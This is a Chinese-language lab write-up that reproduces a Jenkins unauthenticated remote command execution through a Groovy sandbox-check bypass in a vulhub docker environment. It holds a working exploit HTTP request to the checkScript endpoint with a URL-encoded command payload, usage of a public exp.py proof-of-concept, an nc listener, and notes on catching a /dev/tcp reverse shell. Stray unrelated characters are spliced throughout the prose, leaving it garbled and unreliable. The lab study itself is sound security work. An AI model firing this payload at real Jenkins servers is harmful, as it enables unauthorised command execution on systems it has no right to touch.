vulhub
1. 漏洞介紹
1.1 背景介紹
Jenkins使用Stapler框架開發(fā),其允許用戶通過URL PATH來調用一次public方法伐庭。由于這個過程沒有做限制,攻擊者可以構造一些特殊的PATH來執(zhí)行一些敏感的Java方法分冈。
通過這個漏洞圾另,我們可以找到很多可供利用的利用鏈。其中最嚴重的就是繞過Groovy沙盒導致未授權用戶可執(zhí)行任意命令:Jenkins在沙盒中執(zhí)行Groovy前會先檢查腳本是否有錯誤雕沉,檢查操作是沒有沙盒的集乔,攻擊者可以通過Meta-Programming的方式,在檢查這個步驟時執(zhí)行任意命令蘑秽。
1.2 漏洞影響
Jenkins Version <= 2.56
Jenkins LTS Version <= 2.46.1
2. 漏洞詳細復現(xiàn)步驟
2.1 環(huán)境&工具
漏洞機:192.168.10.200 ubuntu
- docker
- vulhub
攻擊機:Windows10
- Burpsuit
- wireshark
2.2 漏洞復現(xiàn)步驟
2.2.1 漏洞機環(huán)境
執(zhí)行如下命令啟動一個Jenkins 2.138,包含漏洞的插件也已經安裝:
docker-compose up -d
環(huán)境啟動后箫攀,訪問http://your-ip:8080
即可看到一個已經成功初始化的Jenkins肠牲,無需再進行任何操作。
2.2.2 漏洞復現(xiàn)
- 反彈shell
/dev/tcp是一個socket鏈接
嘗試在windows攻擊機的防火墻的高級設置中添加入站規(guī)則和出站規(guī)則靴跛,依然鏈接被拒絕缀雳。
ping攻擊機是能夠ping通的。
嘗試關掉靶機的防火墻梢睛,依然鏈接被拒絕
嘗試更換端口號肥印,依然鏈接被拒絕
明明就能ping通,我實在想不通绝葡。
解密了深碱,應當先在攻擊機監(jiān)聽端口,再在靶機tcp鏈接攻擊機藏畅,這個時候再在攻擊機回車兩次敷硅,就會出現(xiàn)反彈shell。
nc -lvp 6789 #port
- 使用一鍵POC腳本
使用https://github.com/orangetw/awesome-jenkins-rce-2019
下載運行 exp.py 需要的依賴
pip install requests
pip install enum
執(zhí)行exp.py
python exp.py http://靶機ip:8080/ "touch /tmp/success"
在靶機查看是否成功
- 使用burpsuite
現(xiàn)將playload中的value編碼url
GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{%20public%20x(){%20%22touch%20/tmp/ascotbe%22.execute()%20}%20} HTTP/1.1
Host: 192.168.0.113:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: screenResolution=1920x1080; JSESSIONID.d8a9d49b=node04iwr99dggu5u1fnn3epmfu3513.node0; JSESSIONID.5ecc223b=node0179ytitxipcl01li5ix1f0ac5c0.node0
Connection: close
response一片空白愉阎。
2.3 漏洞復現(xiàn)注意事項
應當先在攻擊機監(jiān)聽端口绞蹦,再在靶機tcp鏈接攻擊機,這樣端口才能對應上榜旦!如果先tcp鏈接是會被拒絕的幽七。如果鏈接不上,應當先檢查雙方是否能ping通溅呢,再檢查IPS是否攔截成功澡屡。